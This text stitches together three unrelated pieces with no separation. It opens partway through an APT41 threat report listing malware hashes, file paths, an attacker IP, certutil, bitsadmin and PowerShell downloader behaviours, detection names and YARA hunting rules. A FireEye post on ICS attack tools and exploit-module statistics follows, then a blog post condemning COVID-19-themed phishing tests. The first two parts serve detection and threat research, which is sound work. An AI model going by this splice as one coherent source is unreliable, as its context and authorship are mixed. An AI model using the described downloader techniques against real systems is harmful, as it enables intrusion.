storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.


Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.


Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.


Figure 2: ICS-specific intrusion and attack tools by class

Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.


Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).


Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules. Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription.

COVID-19 Phishing Tests: WRONG

Malware Jake Tweeted a poll last night which asked the following:

"I have an interesting ethical quandary. Is it ethically okay to use COVID-19 themed phishing emails for assessments and user awareness training right now? Please read the thread before responding and RT for visibility. 1/"

Ultimately he decided:

"My gut feeling is to not use COVID-19 themed emails in assessments/training, but to TELL users to expect them, though I understand even that might discourage consumption of legitimate information, endangering public health. 6/"

I responded by saying this was the right answer.

Thankfully there were many people who agreed, despite the fact that voting itself was skewed towards the "yes" answer.

There were an uncomfortable number of responses to the Tweet that said there's nothing wrong with red teams phishing users with COVID-19 emails. For example:

"Do criminals abide by ethics? Nope. Neither should testing."

"Yes. If it's in scope for the badguys [sic], it's in scope for you."

"Attackers will use it. So I think it is fair game."

Those are the wrong answers. As a few others outlined well in their responses, the fact that a criminal or intruder employs a tactic does not mean that it's appropriate for an offensive security team to use it too.

I could imagine several COVID-19 phishing lures that could target school districts and probably cause high double-digit click-through rates. What's the point of that? For a "community" that supposedly considers fear, uncertainty, and doubt (FUD) to be anathema, why introduce FUD via a phishing test?

I've grown increasingly concerned over the past few years that there's a "cult of the offensive" that justifies its activities with the rationale that "intruders do it, so we should too." This is directly observable in the replies to Jake's Tweet. It's a thin veneer that covers bad behavior, outweighing the small benefit accrued to high-end, 1% security shops against the massive costs suffered by the vast majority of networked global organizations.

The is a selfish, insular mindset that is reinforced by the echo chamber of the so-called "infosec community." This "tribe" is detached from the concerns and ethics of the larger society. It tells itself that what it is doing is right, oblivious or unconcerned with the costs imposed on the organizations they are supposedly "protecting" with their backwards actions.

We need people with feet in both worlds to tell this group that their approach is not welcome in the broader human community, because the costs it imposes vastly outweigh the benefits.

I've written here about ethics before, usually in connection with the only real value I saw in the CISSP -- its code of ethics. Reviewing the "code," as it appears now, shows the following:

"There are only four mandatory canons in the Code. By necessity, such high-level guidance is not intended to be a substitute for the ethical judgment of the professional.

Code of Ethics Preamble:

The safety and welfare of society and the common good, duty to our principals, and to each other, requires that we adhere, and be seen to adhere, to the highest ethical standards of behavior.
Therefore, strict adherence to this Code is a condition of certification.

Code of Ethics Canons:

Protect society, the common good, necessary public trust and confidence, and the infrastructure.
Act honorably, honestly, justly, responsibly, and legally.
Provide diligent and competent service to principals.
Advance and protect the profession."

This is almost worthless. The only actionable item in the "code" is the word "legally," implying that if a CISSP holder was convicted of a crime, he or she could lose their certification. Everything else is subject to interpretation.

Contrast that with the USAFA Code of Conduct:

"We will not lie, steal, or cheat, nor tolerate among us anyone who does."

While it still requires an Honor Board to determine if a cadet has lied, stolen, cheated, or tolerated, there's much less gray in this statement of the Academy's ethics. Is it perfect? No. Is it more actionable than the CISSP's version? Absolutely.

I don't have "solutions" to the ethical bankruptcy manifesting in some people practicing what they consider to be "information security." However, this post is a step towards creating red lines that those who are not already hardened in their ways can observe and integrate.

Perhaps at some point we will have an actionable code of ethics that helps newcomers to the field understand how to properly act for the benefit of the human community.